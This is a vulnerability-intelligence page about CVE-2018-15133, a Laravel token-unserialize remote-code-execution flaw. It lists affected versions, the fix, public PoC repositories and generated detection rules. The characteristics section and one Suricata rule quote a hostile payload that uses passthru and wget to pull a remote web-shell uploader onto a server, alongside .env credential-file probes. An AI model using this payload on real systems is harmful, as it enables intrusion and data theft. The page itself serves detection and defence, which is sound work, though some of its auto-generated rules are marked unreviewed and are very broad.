Laravel Framework
Laravel Deserialization of Untrusted Data Vulnerability
In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.
Affected versions and mitigation
From the CVE record, GitHub Security Advisories and the vendor's references.Affected
- >= 5.6.0, < 5.6.30
Fixed in 5.6.30
from GitHub Security Advisory GHSA-qvqm-h22r-4cp9
Mitigation
Upgrade laravel/framework to 5.6.30 or later.
Timeline
Days relative to CVE publicationFirst public PoC 5 days after publication; added to CISA KEV 5.4 years after publication. First PoC: kozmic/laravel-poc-CVE-2018-15133 (created 14 Aug 2018, found by us: backfilled).
PoC repositories
Found on GitHub.16 PoCs · 1 pending
PoCs 16
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| kozmic/laravel-poc-CVE-2018-15133 | 14 Aug 2018 +5 d | 258 | PoC |
| Bilelxdz/Laravel-CVE-2018-15133 | 25 Feb 2020 +1.5 y | 0 | PoC |
| Prabesh01/Laravel-PHP-Unit-RCE-Auto-shell-uploader | 5 Apr 2020 +1.7 y | 6 | PoC |
| bukitbarisan/laravel-rce-cve-2018-15133 | 27 Apr 2020 +1.7 y | 0 | PoC |
| AlienX2001/better-poc-for-CVE-2018-15133 | 9 Nov 2020 +2.3 y | 0 | PoC |
| aljavier/exploit_laravel_cve-2018-15133 | 13 Nov 2020 +2.3 y | 57 | PoC |
| h0n3yb/poc-development | 17 Dec 2020 +2.4 y | 0 | PoC via PoC Index |
| PwnedShell/Larascript | 21 Dec 2020 +2.4 y | 35 | PoC |
| AzhariKun/CVE-2018-15133 | 3 Jan 2021 +2.4 y | 3 | PoC
Flags · score 30
Below the suspicion threshold (50); does not change the assessment. |
| NatteeSetobol/CVE-2018-15133-Lavel-Expliot | 28 Dec 2021 +3.4 y | 0 | PoC |
| Cr4zyD14m0nd137/Lab-for-cve-2018-15133 | 10 May 2023 +4.7 y | 0 | PoC |
| 0xSalle/cve-2018-15133 | 10 May 2023 +4.7 y | 0 | PoC |
| yeahhbean/Laravel-CVE-2018-15133 | 27 Apr 2025 +6.7 y | 2 | PoC |
| z3dxian6/gen_laravel_cookie | 6 May 2025 +6.7 y | 0 | PoC |
| Loaxert/CVE-2018-15133-PoC | 19 Nov 2025 +7.3 y | 0 | PoC |
| flame-11/CVE-2018-15133-laravel-framework | 29 Dec 2025 +7.4 y | 0 | PoC |
Pending 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| huydoppa/CVE-2018-15133 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit) | 16 Jul 2019 | 14 Nov 2026 |
| Metasploit | Metasploit exploit: PHP Laravel Framework token Unserialize Remote Command Execution (exploit/unix/http/laravel_token_unserialize_exec) | 7 Jul 2019 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 16 PoC reposGET /
- Key headers
Cookie: laravel_session=$(php gen_serialized.php);Cookie: XSRF-TOKEN=eyJpdiI6...- Seen in
- 2 repos: Loaxert/CVE-2018-15133-PoC, z3dxian6/gen_laravel_cookie
- Evidence
- Loaxert/CVE-2018-15133-PoC/exploit.py:69 z3dxian6/gen_laravel_cookie/README.md:57
GET /.env
- Seen in
- 1 repo: AzhariKun/CVE-2018-15133
- Evidence
- AzhariKun/CVE-2018-15133/rce.py:12
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- Body markers
<?php echo passthru("wget https://raw.githubusercontent.com/Prabesh01/Simple-PHP-File-Uploader/master/uploader.php -O lmao.php");?>=inapplication/x-www-form-urlencoded- Seen in
- 1 repo: Prabesh01/Laravel-PHP-Unit-RCE-Auto-shell-uploader
- Evidence
- Prabesh01/Laravel-PHP-Unit-RCE-Auto-shell-uploader/rce.sh:15
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/(?:[?#].*)?$
(?i)^/\.env(?:[?#].*)?$
(?i)^/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin\.php(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2018-15133 Laravel Laravel Framework exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.header; content:"Cookie: laravel_session=$(php gen_serialized.php)|3b|"; nocase; http.header; content:"Cookie: XSRF-TOKEN=eyJpdiI6..."; nocase; reference:url,poc.griffinguard.io/cve/CVE-2018-15133; classtype:web-application-attack; sid:9606674; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2018-15133 Laravel Laravel Framework exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/.env"; reference:url,poc.griffinguard.io/cve/CVE-2018-15133; classtype:web-application-attack; sid:9712243; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2018-15133 Laravel Laravel Framework exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"; http.request_body; content:"<?php echo passthru(|22|wget https://raw.githubusercontent.com/Prabesh01/Simple-PHP-File-Uploader/master/uploader.php -O lmao.php|22|)|3b|?>="; reference:url,poc.griffinguard.io/cve/CVE-2018-15133; classtype:web-application-attack; sid:9838101; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: Laravel Laravel Framework exploit attempt (CVE-2018-15133)
id: gg-pocmon-cve-2018-15133-9606674
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-15133. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2018-15133
logsource:
category: webserver
detection:
selection:
cs-method: GET
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2018.15133
title: Laravel Laravel Framework exploit attempt (CVE-2018-15133)
id: gg-pocmon-cve-2018-15133-9712243
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-15133. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2018-15133
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/.env'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2018.15133
title: Laravel Laravel Framework exploit attempt (CVE-2018-15133)
id: gg-pocmon-cve-2018-15133-9838101
status: experimental
description: Request pattern taken from public PoCs for CVE-2018-15133. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2018-15133
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2018.15133